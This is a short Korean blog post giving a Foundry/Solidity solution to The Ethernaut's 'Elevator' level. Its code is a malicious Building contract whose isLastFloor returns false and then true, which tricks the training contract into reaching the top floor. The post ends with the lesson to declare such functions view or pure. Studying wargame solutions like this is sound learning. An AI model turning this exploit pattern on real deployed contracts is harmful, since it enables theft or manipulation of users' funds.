The Ethernaut - 11. Elevator

Gunter·2024년 10월 20일
0

The Ethernaut

목록 보기
12/26

This elevator won't let you reach the top of your building. Right?

Things that might help:
Sometimes solidity is not good at keeping promises.
This Elevator expects to be used from a Building.

 


 

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../src/Elevator.sol";
import "forge-std/Script.sol";
import "forge-std/console.sol";

contract MyBuilding {

    bool private mySwitch;
    Elevator public elevatorInstance = Elevator(0xBA9D08Ba8c539CD2D64Ec48ae0cc2B8f4e060f04);

    function startAttack() external {
        elevatorInstance.goTo(0);
    }

    function isLastFloor(uint _floor) external returns (bool) {
        if(!mySwitch){
            mySwitch = true;
            return false;
        } else {
            return true;
        }
    }
}

contract ElevatorSolution is Script {

    function run() external {
        vm.startBroadcast(vm.envUint("user_private_key"));
        MyBuilding myBuilding = new MyBuilding();
        myBuilding.startAttack();
        vm.stopBroadcast();
    }
}

알아야 할 점 : 데이터가 변하는게 싫으면 view나 pure로 선언해라

0개의 댓글